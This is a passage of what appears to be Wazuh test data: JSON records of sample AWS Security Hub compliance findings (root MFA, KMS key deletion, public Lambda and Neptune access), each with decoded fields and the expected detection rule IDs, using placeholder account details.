\"arn:aws:securityhub:abcde::product/aws/securityhub/arn:aws:securityhub:abcde:123456789000:security-control/IAM.6/finding/abcd-bcde-1234-5678\"}, \"Remediation\": {\"Recommendation\": {\"Text\": \"For information on how to correct this issue, consult the AWS Security Hub controls documentation.\", \"Url\": \"https://docs.aws.amazon.com/console/securityhub/IAM.6/remediation\"}}, \"SchemaVersion\": \"2018-10-08\", \"GeneratorId\": \"security-control/IAM.6\", \"RecordState\": \"ACTIVE\", \"Title\": \"Hardware MFA should be enabled for the root user\", \"Workflow\": {\"Status\": \"NEW\"}, \"Severity\": {\"Normalized\": 90, \"Label\": \"CRITICAL\", \"Original\": \"CRITICAL\"}, \"UpdatedAt\": \"2024-05-01T22:12:09.158Z\", \"WorkflowState\": \"NEW\", \"AwsAccountId\": \"123456789000\", \"Region\": \"abcde\", \"Id\": \"arn:aws:securityhub:abcde:123456789000:security-control/IAM.6/finding/abcd-bcde-1234-5678\", \"Resources\": [{\"Partition\": \"aws\", \"Type\": \"AwsAccount\", \"Region\": \"abcde\", \"Id\": \"AWS::::Account:123456789000\"}], \"ProcessedAt\": \"2024-05-01T22:12:24.049Z\"}}}", "decoder": "json", "parent": "", "fields": {"aws.detail_type": "Security Hub Findings - Imported", "aws.finding.AwsAccountId": "123456789000", "aws.finding.CompanyName": "AWS", "aws.finding.Compliance.AssociatedStandards": "[{'StandardsId': 'ruleset/cis-aws-foundations-benchmark/v/1.2.0'}, {'StandardsId': 'standards/aws-foundational-security-best-practices/v/1.0.0'}]", "aws.finding.Compliance.RelatedRequirements": "['CIS AWS Foundations Benchmark v1.2.0/1.14']", "aws.finding.Compliance.SecurityControlId": "IAM.6", "aws.finding.Compliance.Status": "FAILED", "aws.finding.CreatedAt": "2024-01-05T09:26:17.001Z", "aws.finding.Description": "This AWS control checks whether your AWS account is enabled to use a hardware multi-factor authentication (MFA) device to sign in with root user credentials.", "aws.finding.FindingProviderFields.Severity.Label": "CRITICAL", "aws.finding.FindingProviderFields.Severity.Normalized": "90", "aws.finding.FindingProviderFields.Severity.Original": "CRITICAL", "aws.finding.FindingProviderFields.Types": "['Software and Configuration Checks/Industry and Regulatory Standards']", "aws.finding.FirstObservedAt": "2024-01-05T09:26:17.001Z", "aws.finding.GeneratorId": "security-control/IAM.6", "aws.finding.Id": "arn:aws:securityhub:abcde:123456789000:security-control/IAM.6/finding/abcd-bcde-1234-5678", "aws.finding.LastObservedAt": "2024-05-01T22:12:20.039Z", "aws.finding.ProcessedAt": "2024-05-01T22:12:24.049Z", "aws.finding.ProductArn": "arn:aws:securityhub:abcde::product/aws/securityhub", "aws.finding.ProductName": "Security Hub", "aws.finding.RecordState": "ACTIVE", "aws.finding.Region": "abcde", "aws.finding.Remediation.Recommendation.Text": "For information on how to correct this issue, consult the AWS Security Hub controls documentation.", "aws.finding.Remediation.Recommendation.Url": "https://docs.aws.amazon.com/console/securityhub/IAM.6/remediation", "aws.finding.Resources": "[{'Partition': 'aws', 'Type': 'AwsAccount', 'Region': 'abcde', 'Id': 'AWS::::Account:123456789000'}]", "aws.finding.SchemaVersion": "2018-10-08", "aws.finding.Severity.Label": "CRITICAL", "aws.finding.Severity.Normalized": "90", "aws.finding.Severity.Original": "CRITICAL", "aws.finding.Title": "Hardware MFA should be enabled for the root user", "aws.finding.Types": "['Software and Configuration Checks/Industry and Regulatory Standards']", "aws.finding.UpdatedAt": "2024-05-01T22:12:09.158Z", "aws.finding.Workflow.Status": "NEW", "aws.finding.WorkflowState": "NEW", "aws.log_info.log_file": "2024/05/01/22/wazuh-security-hub-findings-1-2024-05-01-22-12-07-abcde-fgh-ijkl", "aws.log_info.s3bucket": "abcd-aws-efgh", "aws.source": "securityhub", "integration": "aws"}, "field_names": ["aws.detail_type", "aws.finding.AwsAccountId", "aws.finding.CompanyName", "aws.finding.Compliance.AssociatedStandards", "aws.finding.Compliance.RelatedRequirements", "aws.finding.Compliance.SecurityControlId", "aws.finding.Compliance.Status", "aws.finding.CreatedAt", "aws.finding.Description", "aws.finding.FindingProviderFields.Severity.Label", "aws.finding.FindingProviderFields.Severity.Normalized", "aws.finding.FindingProviderFields.Severity.Original", "aws.finding.FindingProviderFields.Types", "aws.finding.FirstObservedAt", "aws.finding.GeneratorId", "aws.finding.Id", "aws.finding.LastObservedAt", "aws.finding.ProcessedAt", "aws.finding.ProductArn", "aws.finding.ProductName", "aws.finding.RecordState", "aws.finding.Region", "aws.finding.Remediation.Recommendation.Text", "aws.finding.Remediation.Recommendation.Url", "aws.finding.Resources", "aws.finding.SchemaVersion", "aws.finding.Severity.Label", "aws.finding.Severity.Normalized", "aws.finding.Severity.Original", "aws.finding.Title", "aws.finding.Types", "aws.finding.UpdatedAt", "aws.finding.Workflow.Status", "aws.finding.WorkflowState", "aws.log_info.log_file", "aws.log_info.s3bucket", "aws.source", "integration"], "rule": "99846", "level": "12", "expected_decoder": "json", "expected_rule": "99846", "rule_matches_expected": true, "ini_file": "aws_security_hub.ini", "section": "AWS Security Hub - Hardware MFA not enabled for the root user."} +{"log": "{\"integration\": \"aws\", \"aws\": {\"log_info\": {\"log_file\": \"2024/05/01/22/wazuh-security-hub-findings-1-2024-05-01-22-12-07-abcde-fgh-ijkl\", \"s3bucket\":\"abcd-aws-efgh\"}, \"source\": \"securityhub\", \"detail_type\": \"Security Hub Findings - Imported\", \"finding\": {\"ProductArn\": \"arn:aws:securityhub:abcde::product/aws/securityhub\", \"Types\": [\"Software and Configuration Checks/Industry and Regulatory Standards\"], \"Description\": \"This AWS control checks whether users of your AWS account require a multi-factor authentication (MFA) device to sign in with root user credentials.\", \"Compliance\": {\"Status\": \"FAILED\", \"SecurityControlId\": \"IAM.9\", \"RelatedRequirements\": [\"CIS AWS Foundations Benchmark v1.2.0/1.13\"], \"AssociatedStandards\": [{\"StandardsId\": \"ruleset/cis-aws-foundations-benchmark/v/1.2.0\"}]}, \"ProductName\": \"Security Hub\", \"FirstObservedAt\": \"2024-01-05T09:26:08.142Z\", \"CreatedAt\": \"2024-01-05T09:26:08.142Z\", \"LastObservedAt\": \"2024-05-01T22:12:22.691Z\", \"CompanyName\": \"AWS\", \"FindingProviderFields\": {\"Types\": [\"Software and Configuration Checks/Industry and Regulatory Standards\"], \"Severity\": {\"Normalized\": 90, \"Label\": \"CRITICAL\", \"Original\": \"CRITICAL\"}}, \"ProductFields\": {\"RelatedAWSResources:0/name\": \"securityhub-abcd-account-mfa-enabled-d58a4c25\", \"RelatedAWSResources:0/type\": \"AWS::Config::ConfigRule\", \"aws/securityhub/ProductName\": \"Security Hub\", \"aws/securityhub/CompanyName\": \"AWS\", \"Resources:0/Id\": \"arn:aws:iam::123456789000:abcd\", \"aws/securityhub/FindingId\": \"arn:aws:securityhub:abcde::product/aws/securityhub/arn:aws:securityhub:abcde:123456789000:security-control/IAM.9/finding/abcd-efg-ijkln\"}, \"Remediation\": {\"Recommendation\": {\"Text\": \"For information on how to correct this issue, consult the AWS Security Hub controls documentation.\", \"Url\": \"https://docs.aws.amazon.com/console/securityhub/IAM.9/remediation\"}}, \"SchemaVersion\": \"2018-10-08\", \"GeneratorId\": \"security-control/IAM.9\", \"RecordState\": \"ACTIVE\", \"Title\": \"MFA should be enabled for the root user\", \"Workflow\": {\"Status\": \"NEW\"}, \"Severity\": {\"Normalized\": 90, \"Label\": \"CRITICAL\", \"Original\": \"CRITICAL\"}, \"UpdatedAt\": \"2024-05-01T22:12:10.223Z\", \"WorkflowState\": \"NEW\", \"AwsAccountId\": \"123456789000\", \"Region\": \"abcde\", \"Id\": \"arn:aws:securityhub:abcde:123456789000:security-control/IAM.9/finding/abcd-efg-ijkln\", \"Resources\": [{\"Partition\": \"aws\", \"Type\": \"AwsAccount\", \"Region\": \"abcde\", \"Id\": \"AWS::::Account:123456789000\"}], \"ProcessedAt\": \"2024-05-01T22:12:27.576Z\"}}}", "decoder": "json", "parent": "", "fields": {"aws.detail_type": "Security Hub Findings - Imported", "aws.finding.AwsAccountId": "123456789000", "aws.finding.CompanyName": "AWS", "aws.finding.Compliance.AssociatedStandards": "[{'StandardsId': 'ruleset/cis-aws-foundations-benchmark/v/1.2.0'}]", "aws.finding.Compliance.RelatedRequirements": "['CIS AWS Foundations Benchmark v1.2.0/1.13']", "aws.finding.Compliance.SecurityControlId": "IAM.9", "aws.finding.Compliance.Status": "FAILED", "aws.finding.CreatedAt": "2024-01-05T09:26:08.142Z", "aws.finding.Description": "This AWS control checks whether users of your AWS account require a multi-factor authentication (MFA) device to sign in with root user credentials.", "aws.finding.FindingProviderFields.Severity.Label": "CRITICAL", "aws.finding.FindingProviderFields.Severity.Normalized": "90", "aws.finding.FindingProviderFields.Severity.Original": "CRITICAL", "aws.finding.FindingProviderFields.Types": "['Software and Configuration Checks/Industry and Regulatory Standards']", "aws.finding.FirstObservedAt": "2024-01-05T09:26:08.142Z", "aws.finding.GeneratorId": "security-control/IAM.9", "aws.finding.Id": "arn:aws:securityhub:abcde:123456789000:security-control/IAM.9/finding/abcd-efg-ijkln", "aws.finding.LastObservedAt": "2024-05-01T22:12:22.691Z", "aws.finding.ProcessedAt": "2024-05-01T22:12:27.576Z", "aws.finding.ProductArn": "arn:aws:securityhub:abcde::product/aws/securityhub", "aws.finding.ProductName": "Security Hub", "aws.finding.RecordState": "ACTIVE", "aws.finding.Region": "abcde", "aws.finding.Remediation.Recommendation.Text": "For information on how to correct this issue, consult the AWS Security Hub controls documentation.", "aws.finding.Remediation.Recommendation.Url": "https://docs.aws.amazon.com/console/securityhub/IAM.9/remediation", "aws.finding.Resources": "[{'Partition': 'aws', 'Type': 'AwsAccount', 'Region': 'abcde', 'Id': 'AWS::::Account:123456789000'}]", "aws.finding.SchemaVersion": "2018-10-08", "aws.finding.Severity.Label": "CRITICAL", "aws.finding.Severity.Normalized": "90", "aws.finding.Severity.Original": "CRITICAL", "aws.finding.Title": "MFA should be enabled for the root user", "aws.finding.Types": "['Software and Configuration Checks/Industry and Regulatory Standards']", "aws.finding.UpdatedAt": "2024-05-01T22:12:10.223Z", "aws.finding.Workflow.Status": "NEW", "aws.finding.WorkflowState": "NEW", "aws.log_info.log_file": "2024/05/01/22/wazuh-security-hub-findings-1-2024-05-01-22-12-07-abcde-fgh-ijkl", "aws.log_info.s3bucket": "abcd-aws-efgh", "aws.source": "securityhub", "integration": "aws"}, "field_names": ["aws.detail_type", "aws.finding.AwsAccountId", "aws.finding.CompanyName", "aws.finding.Compliance.AssociatedStandards", "aws.finding.Compliance.RelatedRequirements", "aws.finding.Compliance.SecurityControlId", "aws.finding.Compliance.Status", "aws.finding.CreatedAt", "aws.finding.Description", "aws.finding.FindingProviderFields.Severity.Label", "aws.finding.FindingProviderFields.Severity.Normalized", "aws.finding.FindingProviderFields.Severity.Original", "aws.finding.FindingProviderFields.Types", "aws.finding.FirstObservedAt", "aws.finding.GeneratorId", "aws.finding.Id", "aws.finding.LastObservedAt", "aws.finding.ProcessedAt", "aws.finding.ProductArn", "aws.finding.ProductName", "aws.finding.RecordState", "aws.finding.Region", "aws.finding.Remediation.Recommendation.Text", "aws.finding.Remediation.Recommendation.Url", "aws.finding.Resources", "aws.finding.SchemaVersion", "aws.finding.Severity.Label", "aws.finding.Severity.Normalized", "aws.finding.Severity.Original", "aws.finding.Title", "aws.finding.Types", "aws.finding.UpdatedAt", "aws.finding.Workflow.Status", "aws.finding.WorkflowState", "aws.log_info.log_file", "aws.log_info.s3bucket", "aws.source", "integration"], "rule": "99847", "level": "12", "expected_decoder": "json", "expected_rule": "99847", "rule_matches_expected": true, "ini_file": "aws_security_hub.ini", "section": "AWS Security Hub - MFA not enabled for the root user."} +{"log": "{\"integration\":\"aws\",\"aws\":{\"log_info\":{\"log_file\":\"2024/05/05/06/wazuh-security-hub-findings-1-2024-05-05-06-58-00-12345678-ABCDEFGH-IJKLMN\",\"s3bucket\":\"abcd-aws-efgh\"},\"source\":\"securityhub\",\"detail_type\":\"Security Hub Findings - Imported\",\"finding\":{\"ProductArn\":\"arn:aws:securityhub:abcde::product/aws/securityhub\",\"Types\":[\"Software and Configuration Checks/Industry and Regulatory Standards\"],\"Description\":\"This control checks whether KMS keys are scheduled for deletion. The control fails if a KMS key is scheduled for deletion.\",\"Compliance\":{\"Status\":\"FAILED\",\"SecurityControlId\":\"KMS.3\",\"AssociatedStandards\":[{\"StandardsId\":\"standards/aws-foundational-security-best-practices/v/1.0.0\"}]},\"ProductName\":\"Security Hub\",\"FirstObservedAt\":\"2024-01-05T09:25:54.731Z\",\"CreatedAt\":\"2024-01-05T09:25:54.731Z\",\"LastObservedAt\":\"2024-05-05T06:58:33.628Z\",\"CompanyName\":\"AWS\",\"FindingProviderFields\":{\"Types\":[\"Software and Configuration Checks/Industry and Regulatory Standards\"],\"Severity\":{\"Normalized\":90,\"Label\":\"CRITICAL\",\"Original\":\"CRITICAL\"}},\"ProductFields\":{\"RelatedAWSResources:0/name\":\"kms-cmk-not-scheduled-for-deletion-2-c42fad05\",\"RelatedAWSResources:0/type\":\"AWS::KMS::Key\",\"aws/securityhub/ProductName\":\"Security Hub\",\"aws/securityhub/CompanyName\":\"AWS\",\"Resources:0/Id\":\"arn:aws:iam::123456789000:role/service-role/Amazon_EventBridge_Invoke_Firehose_12345678\",\"aws/securityhub/FindingId\":\"arn:aws:securityhub:abcde::product/aws/securityhub/arn:aws:securityhub:abcde:123456789000:security-control/KMS.3/finding/12345678-ABCDEFGH-IJKLMN\"},\"Remediation\":{\"Recommendation\":{\"Text\":\"For information on how to correct this issue, consult the AWS Security Hub controls documentation.\",\"Url\":\"https://docs.aws.amazon.com/console/securityhub/KMS.3/remediation\"}},\"SchemaVersion\":\"2018-10-08\",\"GeneratorId\":\"security-control/KMS.3\",\"RecordState\":\"ACTIVE\",\"Title\":\"AWS KMS keys should not be deleted unintentionally\",\"Workflow\":{\"Status\":\"NEW\"},\"Severity\":{\"Normalized\":0,\"Label\":\"CRITICAL\",\"Original\":\"CRITICAL\"},\"UpdatedAt\":\"2024-05-05T06:58:16.818Z\",\"WorkflowState\":\"NEW\",\"AwsAccountId\":\"123456789000\",\"Region\":\"abcde\",\"Id\":\"arn:aws:securityhub:abcde:123456789000:security-control/KMS.3/finding/12345678-ABCDEFGH-IJKLMN\",\"Resources\":[{\"Partition\":\"aws\",\"Type\":\"AwsIamRole\",\"Details\":{\"AwsIamRole\":{\"Path\":\"/service-role/\",\"AttachedManagedPolicies\":[{\"PolicyArn\":\"arn:aws:iam::123456789000:policy/service-role/Amazon_EventBridge_Invoke_Firehose_12345678\",\"PolicyName\":\"Amazon_EventBridge_Invoke_Firehose_12345678\"}],\"RoleName\":\"Amazon_EventBridge_Invoke_Firehose_12345678\",\"AssumeRolePolicyDocument\":\"abcdefgh\",\"CreateDate\":\"2021-12-02T17:41:55.000Z\",\"RoleId\":\"ABCEDFHIJKLMONPQ\"}},\"Region\":\"abcde\",\"Id\":\"arn:aws:iam::123456789000:role/service-role/Amazon_EventBridge_Invoke_Firehose_12345678\"}],\"ProcessedAt\":\"2024-05-05T06:58:37.814Z\"}}}", "decoder": "json", "parent": "", "fields": {"aws.detail_type": "Security Hub Findings - Imported", "aws.finding.AwsAccountId": "123456789000", "aws.finding.CompanyName": "AWS", "aws.finding.Compliance.AssociatedStandards": "[{'StandardsId': 'standards/aws-foundational-security-best-practices/v/1.0.0'}]", "aws.finding.Compliance.SecurityControlId": "KMS.3", "aws.finding.Compliance.Status": "FAILED", "aws.finding.CreatedAt": "2024-01-05T09:25:54.731Z", "aws.finding.Description": "This control checks whether KMS keys are scheduled for deletion. The control fails if a KMS key is scheduled for deletion.", "aws.finding.FindingProviderFields.Severity.Label": "CRITICAL", "aws.finding.FindingProviderFields.Severity.Normalized": "90", "aws.finding.FindingProviderFields.Severity.Original": "CRITICAL", "aws.finding.FindingProviderFields.Types": "['Software and Configuration Checks/Industry and Regulatory Standards']", "aws.finding.FirstObservedAt": "2024-01-05T09:25:54.731Z", "aws.finding.GeneratorId": "security-control/KMS.3", "aws.finding.Id": "arn:aws:securityhub:abcde:123456789000:security-control/KMS.3/finding/12345678-ABCDEFGH-IJKLMN", "aws.finding.LastObservedAt": "2024-05-05T06:58:33.628Z", "aws.finding.ProcessedAt": "2024-05-05T06:58:37.814Z", "aws.finding.ProductArn": "arn:aws:securityhub:abcde::product/aws/securityhub", "aws.finding.ProductName": "Security Hub", "aws.finding.RecordState": "ACTIVE", "aws.finding.Region": "abcde", "aws.finding.Remediation.Recommendation.Text": "For information on how to correct this issue, consult the AWS Security Hub controls documentation.", "aws.finding.Remediation.Recommendation.Url": "https://docs.aws.amazon.com/console/securityhub/KMS.3/remediation", "aws.finding.Resources": "[{'Partition': 'aws', 'Type': 'AwsIamRole', 'Details': {'AwsIamRole': {'Path': '/service-role/', 'AttachedManagedPolicies': [{'PolicyArn': 'arn:aws:iam::123456789000:policy/service-role/Amazon_EventBridge_Invoke_Firehose_12345678', 'PolicyName': 'Amazon_EventBridge_Invoke_Firehose_12345678'}], 'RoleName': 'Amazon_EventBridge_Invoke_Firehose_12345678', 'AssumeRolePolicyDocument': 'abcdefgh', 'CreateDate': '2021-12-02T17:41:55.000Z', 'RoleId': 'ABCEDFHIJKLMONPQ'}}, 'Region': 'abcde', 'Id': 'arn:aws:iam::123456789000:role/service-role/Amazon_EventBridge_Invoke_Firehose_12345678'}]", "aws.finding.SchemaVersion": "2018-10-08", "aws.finding.Severity.Label": "CRITICAL", "aws.finding.Severity.Normalized": "0", "aws.finding.Severity.Original": "CRITICAL", "aws.finding.Title": "AWS KMS keys should not be deleted unintentionally", "aws.finding.Types": "['Software and Configuration Checks/Industry and Regulatory Standards']", "aws.finding.UpdatedAt": "2024-05-05T06:58:16.818Z", "aws.finding.Workflow.Status": "NEW", "aws.finding.WorkflowState": "NEW", "aws.log_info.log_file": "2024/05/05/06/wazuh-security-hub-findings-1-2024-05-05-06-58-00-12345678-ABCDEFGH-IJKLMN", "aws.log_info.s3bucket": "abcd-aws-efgh", "aws.source": "securityhub", "integration": "aws"}, "field_names": ["aws.detail_type", "aws.finding.AwsAccountId", "aws.finding.CompanyName", "aws.finding.Compliance.AssociatedStandards", "aws.finding.Compliance.SecurityControlId", "aws.finding.Compliance.Status", "aws.finding.CreatedAt", "aws.finding.Description", "aws.finding.FindingProviderFields.Severity.Label", "aws.finding.FindingProviderFields.Severity.Normalized", "aws.finding.FindingProviderFields.Severity.Original", "aws.finding.FindingProviderFields.Types", "aws.finding.FirstObservedAt", "aws.finding.GeneratorId", "aws.finding.Id", "aws.finding.LastObservedAt", "aws.finding.ProcessedAt", "aws.finding.ProductArn", "aws.finding.ProductName", "aws.finding.RecordState", "aws.finding.Region", "aws.finding.Remediation.Recommendation.Text", "aws.finding.Remediation.Recommendation.Url", "aws.finding.Resources", "aws.finding.SchemaVersion", "aws.finding.Severity.Label", "aws.finding.Severity.Normalized", "aws.finding.Severity.Original", "aws.finding.Title", "aws.finding.Types", "aws.finding.UpdatedAt", "aws.finding.Workflow.Status", "aws.finding.WorkflowState", "aws.log_info.log_file", "aws.log_info.s3bucket", "aws.source", "integration"], "rule": "99848", "level": "12", "expected_decoder": "json", "expected_rule": "99848", "rule_matches_expected": true, "ini_file": "aws_security_hub.ini", "section": "AWS Security Hub - AWS KMS keys scheduled for deletion."} +{"log": "{\"integration\":\"aws\",\"aws\":{\"log_info\":{\"log_file\":\"2024/05/02/22/wazuh-security-hub-findings-1-2024-05-02-22-12-04-abcde-fgh-ijkl\",\"s3bucket\":\"abcd-aws-efgh\"},\"source\":\"securityhub\",\"detail_type\":\"Security Hub Findings - Imported\",\"finding\":{\"ProductArn\":\"arn:aws:securityhub:abcde::product/aws/securityhub\",\"Types\":[\"Effects/Data Exposure\"],\"Description\":\"This control checks whether the Lambda function resource-based policy prohibits public access outside of your account.\",\"Compliance\":{\"Status\":\"FAILED\",\"SecurityControlId\":\"Lambda.1\",\"AssociatedStandards\":[{\"StandardsId\":\"standards/aws-foundational-security-best-practices/v/1.0.0\"}]},\"ProductName\":\"Security Hub\",\"FirstObservedAt\":\"2024-02-05T09:26:37.617Z\",\"CreatedAt\":\"2024-02-05T09:26:37.617Z\",\"LastObservedAt\":\"2024-05-02T22:12:25.627Z\",\"CompanyName\":\"AWS\",\"FindingProviderFields\":{\"Types\":[\"Effects/Data Exposure\"],\"Severity\":{\"Normalized\":90,\"Label\":\"CRITICAL\",\"Original\":\"CRITICAL\"}},\"ProductFields\":{\"RelatedAWSResources:0/name\":\"lambda-function-public-access-prohibited-661f086b\",\"RelatedAWSResources:0/type\":\"AWS::Lambda::Function\",\"aws/securityhub/ProductName\":\"Security Hub\",\"aws/securityhub/CompanyName\":\"AWS\",\"Resources:0/Id\":\"arn:aws:iam::123456789000:abcd\",\"aws/securityhub/FindingId\":\"arn:aws:securityhub:abcde::product/aws/securityhub/arn:aws:securityhub:abcde:123456789000:security-control/Lambda.1/finding/abcd-bcde-1234-5678\"},\"Remediation\":{\"Recommendation\":{\"Text\":\"For information on how to correct this issue, consult the AWS Security Hub controls documentation.\",\"Url\":\"https://docs.aws.amazon.com/console/securityhub/Lambda.1/remediation\"}},\"SchemaVersion\":\"2018-10-08\",\"GeneratorId\":\"security-control/Lambda.1\",\"RecordState\":\"ACTIVE\",\"Title\":\"Lambda function policies should prohibit public access\",\"Workflow\":{\"Status\":\"NEW\"},\"Severity\":{\"Normalized\":90,\"Label\":\"CRITICAL\",\"Original\":\"CRITICAL\"},\"UpdatedAt\":\"2024-05-02T22:12:08.383Z\",\"WorkflowState\":\"NEW\",\"AwsAccountId\":\"123456789000\",\"Region\":\"abcde\",\"Id\":\"arn:aws:securityhub:abcde:123456789000:security-control/Lambda.1/finding/abcd-bcde-1234-5678\",\"Resources\":[{\"Partition\":\"aws\",\"Type\":\"AwsAccount\",\"Region\":\"abcde\",\"Id\":\"AWS::::Account:123456789000\"}],\"ProcessedAt\":\"2024-05-02T22:12:31.673Z\"}}}", "decoder": "json", "parent": "", "fields": {"aws.detail_type": "Security Hub Findings - Imported", "aws.finding.AwsAccountId": "123456789000", "aws.finding.CompanyName": "AWS", "aws.finding.Compliance.AssociatedStandards": "[{'StandardsId': 'standards/aws-foundational-security-best-practices/v/1.0.0'}]", "aws.finding.Compliance.SecurityControlId": "Lambda.1", "aws.finding.Compliance.Status": "FAILED", "aws.finding.CreatedAt": "2024-02-05T09:26:37.617Z", "aws.finding.Description": "This control checks whether the Lambda function resource-based policy prohibits public access outside of your account.", "aws.finding.FindingProviderFields.Severity.Label": "CRITICAL", "aws.finding.FindingProviderFields.Severity.Normalized": "90", "aws.finding.FindingProviderFields.Severity.Original": "CRITICAL", "aws.finding.FindingProviderFields.Types": "['Effects/Data Exposure']", "aws.finding.FirstObservedAt": "2024-02-05T09:26:37.617Z", "aws.finding.GeneratorId": "security-control/Lambda.1", "aws.finding.Id": "arn:aws:securityhub:abcde:123456789000:security-control/Lambda.1/finding/abcd-bcde-1234-5678", "aws.finding.LastObservedAt": "2024-05-02T22:12:25.627Z", "aws.finding.ProcessedAt": "2024-05-02T22:12:31.673Z", "aws.finding.ProductArn": "arn:aws:securityhub:abcde::product/aws/securityhub", "aws.finding.ProductName": "Security Hub", "aws.finding.RecordState": "ACTIVE", "aws.finding.Region": "abcde", "aws.finding.Remediation.Recommendation.Text": "For information on how to correct this issue, consult the AWS Security Hub controls documentation.", "aws.finding.Remediation.Recommendation.Url": "https://docs.aws.amazon.com/console/securityhub/Lambda.1/remediation", "aws.finding.Resources": "[{'Partition': 'aws', 'Type': 'AwsAccount', 'Region': 'abcde', 'Id': 'AWS::::Account:123456789000'}]", "aws.finding.SchemaVersion": "2018-10-08", "aws.finding.Severity.Label": "CRITICAL", "aws.finding.Severity.Normalized": "90", "aws.finding.Severity.Original": "CRITICAL", "aws.finding.Title": "Lambda function policies should prohibit public access", "aws.finding.Types": "['Effects/Data Exposure']", "aws.finding.UpdatedAt": "2024-05-02T22:12:08.383Z", "aws.finding.Workflow.Status": "NEW", "aws.finding.WorkflowState": "NEW", "aws.log_info.log_file": "2024/05/02/22/wazuh-security-hub-findings-1-2024-05-02-22-12-04-abcde-fgh-ijkl", "aws.log_info.s3bucket": "abcd-aws-efgh", "aws.source": "securityhub", "integration": "aws"}, "field_names": ["aws.detail_type", "aws.finding.AwsAccountId", "aws.finding.CompanyName", "aws.finding.Compliance.AssociatedStandards", "aws.finding.Compliance.SecurityControlId", "aws.finding.Compliance.Status", "aws.finding.CreatedAt", "aws.finding.Description", "aws.finding.FindingProviderFields.Severity.Label", "aws.finding.FindingProviderFields.Severity.Normalized", "aws.finding.FindingProviderFields.Severity.Original", "aws.finding.FindingProviderFields.Types", "aws.finding.FirstObservedAt", "aws.finding.GeneratorId", "aws.finding.Id", "aws.finding.LastObservedAt", "aws.finding.ProcessedAt", "aws.finding.ProductArn", "aws.finding.ProductName", "aws.finding.RecordState", "aws.finding.Region", "aws.finding.Remediation.Recommendation.Text", "aws.finding.Remediation.Recommendation.Url", "aws.finding.Resources", "aws.finding.SchemaVersion", "aws.finding.Severity.Label", "aws.finding.Severity.Normalized", "aws.finding.Severity.Original", "aws.finding.Title", "aws.finding.Types", "aws.finding.UpdatedAt", "aws.finding.Workflow.Status", "aws.finding.WorkflowState", "aws.log_info.log_file", "aws.log_info.s3bucket", "aws.source", "integration"], "rule": "99849", "level": "12", "expected_decoder": "json", "expected_rule": "99849", "rule_matches_expected": true, "ini_file": "aws_security_hub.ini", "section": "AWS Security Hub - Lambda function policies allow public access."} +{"log": "{\"integration\":\"aws\",\"aws\":{\"log_info\":{\"log_file\":\"2024/05/02/22/wazuh-security-hub-findings-1-2024-05-02-22-12-04-abcde-fgh-ijkl\",\"s3bucket\":\"abcd-aws-efgh\"},\"source\":\"securityhub\",\"detail_type\":\"Security Hub Findings - Imported\",\"finding\":{\"ProductArn\":\"arn:aws:securityhub:abcde::product/aws/securityhub\",\"Types\":[\"Effects/Data Exposure\"],\"Description\":\"This control checks whether a Neptune manual DB cluster snapshot is public. The control fails if a Neptune manual DB cluster snapshot is public.\",\"Compliance\":{\"Status\":\"FAILED\",\"SecurityControlId\":\"Neptune.3\",\"AssociatedStandards\":[{\"StandardsId\":\"standards/aws-foundational-security-best-practices/v/1.0.0\"}]},\"ProductName\":\"Security Hub\",\"FirstObservedAt\":\"2024-02-05T09:26:37.617Z\",\"CreatedAt\":\"2024-02-05T09:26:37.617Z\",\"LastObservedAt\":\"2024-05-02T22:12:25.627Z\",\"CompanyName\":\"AWS\",\"FindingProviderFields\":{\"Types\":[\"Effects/Data Exposure\"],\"Severity\":{\"Normalized\":90,\"Label\":\"CRITICAL\",\"Original\":\"CRITICAL\"}},\"ProductFields\":{\"RelatedAWSResources:0/name\":\"neptune-cluster-snapshot-public-prohibited-661f086b\",\"RelatedAWSResources:0/type\":\"AWS::RDS::DBClusterSnapshot\",\"aws/securityhub/ProductName\":\"Security Hub\",\"aws/securityhub/CompanyName\":\"AWS\",\"Resources:0/Id\":\"arn:aws:iam::123456789000:abcd\",\"aws/securityhub/FindingId\":\"arn:aws:securityhub:abcde::product/aws/securityhub/arn:aws:securityhub:abcde:123456789000:security-control/Neptune.3/finding/abcd-bcde-1234-5678\"},\"Remediation\":{\"Recommendation\":{\"Text\":\"For information on how to correct this issue, consult the AWS Security Hub controls documentation.\",\"Url\":\"https://docs.aws.amazon.com/console/securityhub/Neptune.3/remediation\"}},\"SchemaVersion\":\"2018-10-08\",\"GeneratorId\":\"security-control/Neptune.3\",\"RecordState\":\"ACTIVE\",\"Title\":\"Neptune DB cluster snapshots should not be public\",\"Workflow\":{\"Status\":\"NEW\"},\"Severity\":{\"Normalized\":90,\"Label\":\"CRITICAL\",\"Original\":\"CRITICAL\"},\"UpdatedAt\":\"2024-05-02T22:12:08.383Z\",\"WorkflowState\":\"NEW\",\"AwsAccountId\":\"123456789000\",\"Region\":\"abcde\",\"Id\":\"arn:aws:securityhub:abcde:123456789000:security-control/Neptune.3/finding/abcd-bcde-1234-5678\",\"Resources\":[{\"Partition\":\"aws\",\"Type\":\"AwsAccount\",\"Region\":\"abcde\",\"Id\":\"AWS::::Account:123456789000\"}],\"ProcessedAt\":\"2024-05-02T22:12:31.673Z\"}}}", "decoder": "json", "parent": "", "fields": {"aws.detail_type": "Security Hub Findings - Imported", "aws.finding.AwsAccountId": "123456789000", "aws.finding.CompanyName": "AWS", "aws.finding.Compliance.AssociatedStandards": "[{'StandardsId': 'standards/aws-foundational-security-best-practices/v/1.0.0'}]", "aws.finding.Compliance.SecurityControlId": "Neptune.3", "aws.finding.Compliance.Status": "FAILED", "aws.finding.CreatedAt": "2024-02-05T09:26:37.617Z", "aws.finding.Description": "This control checks whether a Neptune manual DB cluster snapshot is public. The control fails if a Neptune manual DB cluster snapshot is public.", "aws.finding.FindingProviderFields.Severity.Label": "CRITICAL", "aws.finding.FindingProviderFields.Severity.Normalized": "90", "aws.finding.FindingProviderFields.Severity.Original": "CRITICAL", "aws.finding.FindingProviderFields.Types": "['Effects/Data Exposure']", "aws.finding.FirstObservedAt": "2024-02-05T09:26:37.617Z", "aws.finding.GeneratorId": "security-control/Neptune.3", "aws.finding.Id": "arn:aws:securityhub:abcde:123456789000:security-control/Neptune.3/finding/abcd-bcde-1234-5678", "aws.finding.LastObservedAt": "2024-05-02T22:12:25.627Z", "aws.finding.ProcessedAt": "2024-05-02T22:12:31.673Z", "aws.finding.ProductArn": "arn:aws:securityhub:abcde::product/aws/securityhub", "aws.finding.ProductName": "Security Hub", "aws.finding.RecordState": "ACTIVE", "aws.finding.Region": "abcde", "aws.finding.Remediation.Recommendation.Text": "For information on how to correct this issue, consult the AWS Security Hub controls documentation.", 